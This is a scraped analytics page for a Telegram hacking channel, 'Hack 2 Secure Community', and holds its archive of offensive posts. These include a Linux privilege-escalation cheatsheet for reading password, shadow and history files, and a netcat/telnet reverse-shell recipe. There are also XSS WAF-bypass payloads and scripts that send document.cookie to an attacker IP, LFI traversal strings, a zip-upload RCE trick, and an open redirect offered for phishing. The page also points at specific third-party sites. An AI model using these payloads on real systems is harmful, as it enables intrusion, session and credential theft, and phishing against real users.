Hack 2 Secure Community

前往频道在 Telegram

🚩 Channel was restricted by Telegram

显示更多

印度156 536 技术与应用34 395

无数据

订阅者

-324 小时

-77 天

-2030 天

392

帖子浏览量

无数据24 小时

无数据48 小时

30.34%

参与率

无数据

每日帖子数

Ads index

beta

帖子存档

'>\"\n\n4. Using \"javascript:\" in the URL to execute a payload, such as \"javascript:alert(1)\"\n\n5. Using \"data:\" in the URL to execute a payload, such as \"data:text/html,\"\n\n6. Using \"Vbscript\" instead of javascript","datePublished":"2023-10-07T14:40:16Z","dateModified":"2023-10-07T14:40:16Z","author":{"@type":"Organization","name":"Hack 2 Secure Community","url":"https://telemetr.io/ch/channels/1804596241-hack2secure","image":"https://img.tlmtr.io/c/1Y7TUZ/6091482202895400121?ty=x"},"publisher":{"@type":"Organization","name":"Hack 2 Secure Community","url":"https://telemetr.io/ch/channels/1804596241-hack2secure","image":"https://img.tlmtr.io/c/1Y7TUZ/6091482202895400121?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":521},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2}]}},{"@type":"ListItem","position":3,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/1804596241-hack2secure/posts/39","url":"https://telemetr.io/ch/channels/1804596241-hack2secure/posts/39","mainEntityOfPage":"https://telemetr.io/ch/channels/1804596241-hack2secure/posts/39","headline":"http://modxcomputers.com","articleBody":"http://modxcomputers.com","datePublished":"2023-09-28T15:36:15Z","dateModified":"2023-09-28T15:36:15Z","author":{"@type":"Organization","name":"Hack 2 Secure Community","url":"https://telemetr.io/ch/channels/1804596241-hack2secure","image":"https://img.tlmtr.io/c/1Y7TUZ/6091482202895400121?ty=x"},"publisher":{"@type":"Organization","name":"Hack 2 Secure Community","url":"https://telemetr.io/ch/channels/1804596241-hack2secure","image":"https://img.tlmtr.io/c/1Y7TUZ/6091482202895400121?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":503}]}},{"@type":"ListItem","position":4,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ch/channels/1804596241-hack2secure/posts/38","url":"https://telemetr.io/ch/channels/1804596241-hack2secure/posts/38","mainEntityOfPage":"https://telemetr.io/ch/channels/1804596241-hack2secure/posts/38","headline":"Don't Ignore wordpress websites :) Payload:

𝙏𝙝𝙚 𝙇𝙞𝙣𝙪𝙭 𝙋𝙧𝙞𝙫𝙞𝙡𝙚𝙜𝙚 𝙀𝙨𝙘𝙖𝙡𝙖𝙩𝙞𝙤𝙣 𝘾𝙝𝙚𝙖𝙩𝙨𝙝𝙚𝙚𝙩 Operating System What's the distribution type? What version? cat /etc/issue cat /etc/*-release cat /etc/lsb-release What's the kernel version? Is it 64-bit? cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- What can be learnt from the environmental variables? cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set Is there a printer? lpstat -a Applications & Services What services are running? Which service has which user privilege? ps aux ps -ef top cat /etc/services Which service(s) are been running by root? Of these services, which are vulnerable ps aux | grep root ps -ef | grep root What applications are installed? What version are they? Are they currently running? ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/ Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ What jobs are scheduled? crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root Any plain text usernames and/or passwords? grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla Communications & Networking What NIC(s) does the system have? Is it connected to another network? /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname What other users & hosts are communicating with the system? lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w Whats cached? IP and/or MAC addresses arp -e route /sbin/route -nee Is packet sniffing possible? What can be seen? Listen to live traffic tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] Have you got a shell? Can you interact with the system? nc -lvp 4444 # Attacker. Input (Commands) nc -lvp 4445 # Attacker. Ouput (Results) telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP! Confidential Information & Users Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what? id who w last cat /etc/passwd | cut -d: -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l What sensitive files can be found? cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/ Anything "interesting" in the home directorie(s)? If it's possible to access ls -ahlR /root/ ls -ahlR /home/ Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg What has the user being doing? Is there any password in plain text? What have they been edting? cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history What user information can be found? cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root

Some examples of XSS payloads that can be used to bypass WAFs include: 1. Using JavaScript encoding, such as "eval(String.fromCharCode(97,108,101,114,116))" instead of "alert" to bypass keyword filters. 2. Using the JavaScript "img" element and "onerror" attribute to execute a payload, such as "

" 3. Using the JavaScript "iframe" element and "srcdoc" attribute to execute a payload, such as "" 4. Using "javascript:" in the URL to execute a payload, such as "javascript:alert(1)" 5. Using "data:" in the URL to execute a payload, such as "data:text/html," 6. Using "Vbscript" instead of javascript

http://modxcomputers.com

Don't Ignore wordpress websites :) Payload:

Bug Bounty Tip When the app only accepts URLs with a specific scheme, try injecting javascript://test.com Then, use these symbols to craft an XSS payload 🔹%0a 🔹%0d 🔹%E2%80%A8 🔹%E2%80%A9 ✅ javascript://test.com%0aalert(1)

A nice way to store the payload "><script>eval(new URL(document.location.href+"#javascript:confirm(69)").hash.slice(1))</script> A payload to bypass Akamai WAF <A href="javascrip%09t&colon;eval.apply${[jj.className+(23)]}" id=jj class=alert>Click Here

Bug Bounty Hunting Tip :- If you can upload .zip file on target then: 1. Create a .php file (rce.php) 2. Compress it to a .zip file (file.zip) 3. Upload your .zip file on the vulnerable web application. 4. Trigger your RCE via: ( https://<target Site>.com/index.php?page=zip://path/file.zip#rce.php )

Some filter bypass payload list while hunting for LFi vulnerability →index.php?page=....//....//etc/passwd →index.php?page=..///////..////..//////etc/passwd →index.php?page=/var/www/../../etc/passwd

Cloudflare Bypass [XSS] ⚡️ ☠️PAYLOAD☠️

OTP bypass - Response Manipulation

💀🔥 Wordpress Exploit

https://www.w3docs.com/tools/html-encoder/

this is for filter evasion where your script get encode in html encoding

Numb ASCII ANSI 8859 UTF-8 Description 32 space 33 ! ! ! ! exclamation mark 34 " " " " quotation mark 35 # # # # number sign 36 $ $ $ $ dollar sign 37 % % % % percent sign 38 & & & & ampersand 39 ' ' ' ' apostrophe 40 ( ( ( ( left parenthesis 41 ) ) ) ) right parenthesis 42 * * * * asterisk 43 + + + + plus sign 44 , , , , comma 45 - - - - hyphen-minus 46 . . . . full stop 47 / / / / solidus 48 0 0 0 0 digit zero 49 1 1 1 1 digit one 50 2 2 2 2 digit two 51 3 3 3 3 digit three 52 4 4 4 4 digit four 53 5 5 5 5 digit five 54 6 6 6 6 digit six 55 7 7 7 7 digit seven 56 8 8 8 8 digit eight 57 9 9 9 9 digit nine 58 : : : : colon 59 ; ; ; ; semicolon 60 < < < < less-than sign 61 = = = = equals sign 62 > > > > greater-than sign 63 ? ? ? ? question mark 64 @ @ @ @ commercial at 65 A A A A Latin capital letter A 66 B B B B Latin capital letter B 67 C C C C Latin capital letter C 68 D D D D Latin capital letter D 69 E E E E Latin capital letter E 70 F F F F Latin capital letter F 71 G G G G Latin capital letter G 72 H H H H Latin capital letter H 73 I I I I Latin capital letter I 74 J J J J Latin capital letter J 75 K K K K Latin capital letter K 76 L L L L Latin capital letter L 77 M M M M Latin capital letter M 78 N N N N Latin capital letter N 79 O O O O Latin capital letter O 80 P P P P Latin capital letter P 81 Q Q Q Q Latin capital letter Q 82 R R R R Latin capital letter R 83 S S S S Latin capital letter S 84 T T T T Latin capital letter T 85 U U U U Latin capital letter U 86 V V V V Latin capital letter V 87 W W W W Latin capital letter W 88 X X X X Latin capital letter X 89 Y Y Y Y Latin capital letter Y 90 Z Z Z Z Latin capital letter Z 91 [ [ [ [ left square bracket 92 \ \ \ \ reverse solidus 93 ] ] ] ] right square bracket 94 ^ ^ ^ ^ circumflex accent 95 _ _ _ _ low line 96 grave accent 97 a a a a Latin small letter a 98 b b b b Latin small letter b 99 c c c c Latin small letter c 100 d d d d Latin small letter d 101 e e e e Latin small letter e 102 f f f f Latin small letter f 103 g g g g Latin small letter g 104 h h h h Latin small letter h 105 i i i i Latin small letter i 106 j j j j Latin small letter j 107 k k k k Latin small letter k 108 l l l l Latin small letter l 109 m m m m Latin small letter m 110 n n n n Latin small letter n 111 o o o o Latin small letter o 112 p p p p Latin small letter p 113 q q q q Latin small letter q 114 r r r r Latin small letter r 115 s s s s Latin small letter s 116 t t t t Latin small letter t 117 u u u u Latin small letter u 118 v v v v Latin small letter v 119 w w w w Latin small letter w 120 x x x x Latin small letter x 121 y y y y Latin small letter y 122 z z z z Latin small letter z 123 { { { { left curly bracket 124 | | | | vertical line 125 } } } } right curly bracket 126 ~ ~ ~ ~ tilde 127 DEL 128 € euro sign 129 NOT USED 130 ‚ single low-9 quotation mark 131 ƒ Latin small letter f with hook 132 „ double low-9 quotation mark 133 … horizontal ellipsis 134 † dagger 135 ‡ double dagger 136 ˆ modifier letter circumflex accent 137 ‰ per mille sign 138 Š Latin capital letter S with caron 139 ‹ single left-pointing angle quotation mark 140 Œ Latin capital ligature OE 141 NOT USED 142 Ž Latin capital letter Z with caron 143 NOT USED 144 NOT USED 145 ‘ left single quotation mark 146 ’ right single quotation mark 147 “ left double quotation mark

XSS encoding method -

<img src=x onerror=this.src='http://192.168.29.51:8080?'+document.cookie;> <script> alert(document.cookie); var hack=new Image; hack.src="http://192.168.29.51:8080?"+document.cookie; </script> <script>var i=new Image;i.src="http://192.168.29.51:8080?"+document.cookie;</script>

https://www.cu.edu.pk/login.php?msg=1&hash=eccbc87e4b5ce2fe28308fd9f2a7baf3

Indian News Channels ☕️😭

For Phishing URL Redirection - https://bluesrt.com/go?url=

Exploiting XSS - Meta Tag 😎🔥